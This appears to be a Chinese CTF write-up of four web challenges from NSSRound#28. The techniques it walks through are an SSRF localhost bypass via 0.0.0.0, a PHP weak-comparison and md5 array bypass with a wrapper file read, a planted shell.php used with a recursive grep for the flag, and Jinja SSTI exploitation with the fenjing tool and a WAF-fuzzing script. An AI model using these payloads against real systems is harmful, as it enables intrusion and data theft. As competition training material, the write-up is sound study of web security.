0%

NSSRound#28web方向wp

上周末打的nss的比赛,一共就4道web题,最后一题不会用fenjing没做出来。

ez_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);

//flag在/flag路由中

if (isset($_GET['url'])) {
$url = $_GET['url'];

if (strpos($url, 'http://') !== 0) {
echo json_encode(["error" => "Only http:// URLs are allowed"]);
exit;
}

$host = parse_url($url, PHP_URL_HOST);

$ip = gethostbyname($host);

$forbidden_ips = ['127.0.0.1', '::1'];
if (in_array($ip, $forbidden_ips)) {
echo json_encode(["error" => "Access to localhost or 127.0.0.1 is forbidden"]);
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

if (curl_errno($ch)) {
echo json_encode(["error" => curl_error($ch)]);
} else {
echo $response;
}

curl_close($ch);
} else {
echo json_encode(["error" => "Please provide a 'url' parameter"]);
}
?>
{"error":"Please provide a 'url' parameter"}

题目的意思也很明显了,就是考察ssrf,但是过滤127.0.0.1和localhost,用其他进制编码的127.0.0.1或者127.1都不行,尝试0.0.0.0发现可以,也是一种常见的绕过手段了 最后的payload

1
?url=http://0.0.0.0/flag

ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['a']) && isset($_POST['b']) && isset($_GET['password'])) {
$a = $_POST['a'];
$b = $_POST['b'];
$password = $_GET['password'];

if (is_numeric($password)) {
die("password can't be a number</br>");
} elseif ($password != 123456) {
die("Wrong password</br>");
}

if ($a != $b && md5($a) === md5($b)) {
echo "wonderful</br>";
include($_POST['file']); # level2.php
}
}
?>

给出源码,就是给先用get请求接受password这个参数,这个参数不能是数字但是要等于123456,这里是弱类型比较,所以可以再后面加上%00这个空白,php在判断的时候会丢弃这个空白就能绕过了。然后ab两个md5值相同这也是常见了,但是直接用两个字符串的md5值相同在这里不行,所以用数组都返回null。最后用php伪协议可以直接读出flag(听说这是非预期解?)

1
2
3
┌──(root㉿kakeru)-[~/tmp]
└─# echo TlNTQ1RGezQzOTE5NmE0LTUzNjItNDVhNC04NDdiLWZjYjRiOTc1OTFmY30K | base64 -d
NSSCTF{439196a4-5362-45a4-847b-fcb4b97591fc}

light_pink


给了一个留言板,问你flag 藏在哪里。显示尝试了一下sql注入,发现被ban了。然后这里的id虽然有回显,但是也没有ssti漏洞。然后在id是已经存在的1-5的时候也才有数据。用bp爆破id数字也没用。
在这个网页没有信息就去其他网页找找,目录扫描了一下发现一个shell.php

竟然直接可以执行代码。这里环境变量中的flag是假flag
下一步就是利用这里的eval执行shell中的代码了,这就到我们打靶机的人的长处了。这里反弹shell不行,就直接开找吧 反正flag的格式肯定是NSSCTF
先用find / -name '*' -exec grep -H 'NSS' {} \; 2>/dev/null 这个指令的意思是从根目录/开始找起,*找所有的文件,每个文件都执行grep指令,grep是一个匹配的工具,-H表示只输出匹配的字符 {}是一个文件占位符,因为grep命令需要在一个文件里面找,这里都代表所有的文件*,最后就发现flag在db.sql里面

Coding Loving

这题给了个附件,给了题目的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
app = Flask(__name__)
app.secret_key = 'Ciallo~(∠・ω <)⌒★'
FILTER_KEYWORDS = ['Ciallo~(∠・ω <)⌒★']
TIME_LIMIT = 1
def contains_forbidden_keywords(complaint):
for keyword in FILTER_KEYWORDS:
if keyword.lower() in complaint:
return True
return False
@app.route('/', methods=['GET', 'POST'])
def index():
session['user'] = 'test'
command = request.form.get('cmd', 'coding')
return render_template('index.html', command=command)

@app.route('/test', methods=['GET', 'POST'])
def shell():
if session.get('user') != 'test':
return render_template('Auth.html')
if (abc:=request.headers.get('User-Agent')) is None:
return render_template('Auth.html')
cmd = request.args.get('cmd', '试一试')
if request.method == 'POST':
css_url = url_for('static', filename='style.css')
command = request.form.get('cmd')
if contains_forbidden_keywords(command):
return render_template('forbidden.html')
return render_template_string(f'''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Loving Music</title>
<link rel="stylesheet" href="{css_url}">
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet">
</head>
<body>
<div class="container">
<h1>Loving coding</h1>
<p class="emoji">🧑‍💻</p>
<p>{command}</p>
</div>
</body>
</html>
''', command=command,css_url=css_url)
return render_template('shell.html', command=cmd)

这里主要的问题在render_template这个函数,这个函数存在ssti漏洞。路由在/test, 然后参数是cmd有GET和POST两种请求,但是只有POST是有用的。
可以直接用fenjing一把梭。fenjing是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口,省去手动测试接口,fuzz题目WAF的时间。项目地址在https://github.com/Marven11/FenJing
研究了一会参数,最后下载之后在命令行的指令是这样的

1
fenjing crack -u http://node6.anna.nssctf.cn:25449/test -m POST -i cmd --waf-keyword 非法 --replaced-keyword-strategy avoid --cookies "session=eyJ1c2VyIjoidGVzdCJ9.Z-Fo-A.RdSN3LH_6-rNarEwCVVUbMn7TZs"

-m 指定请求方式 -i 指定参数 –waf-keyword 表示如果出现waf界面会出现的文字 –replaced-keyword-strategy 出现waf的时候的策略,这里选择不使用waf(avoid) 最后要指定cookie 然后可以执行成功,fenjing会给出payload成功后输入cat /flag指令执行后得到flag

如果是手工也可以用下面的脚本找到黑名单和白名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import re
import requests
import string

url = 'http://node6.anna.nssctf.cn:26098/test'
cookie = {'session': 'eyJ1c2VyIjoidGVzdCJ9.Z-FVnQ.tQJGlYJwhwKcZcqBz3bWvoNi334'}
pattern = string.ascii_letters + string.digits
pattern += r'[\]!@#$%^&*()_+\\?\,\.{}'

blacklist = []
whitelist = []

# 使用 pattern 中的字符逐个发送请求
for char in pattern:
response = requests.post(url=url, data={"cmd": char}, cookies=cookie)
print(f">>>Testing: {char}")

if '检测到输入非法字符' in response.text:
blacklist.append(char)
print(f"[-]: {char} in blacklist")
else:
whitelist.append(char)
print(f"[+]: {char} in whitelist")

print('------------------------------------')
print("whitelist: ", ''.join(whitelist))
print("blacklist: ", ''.join(blacklist))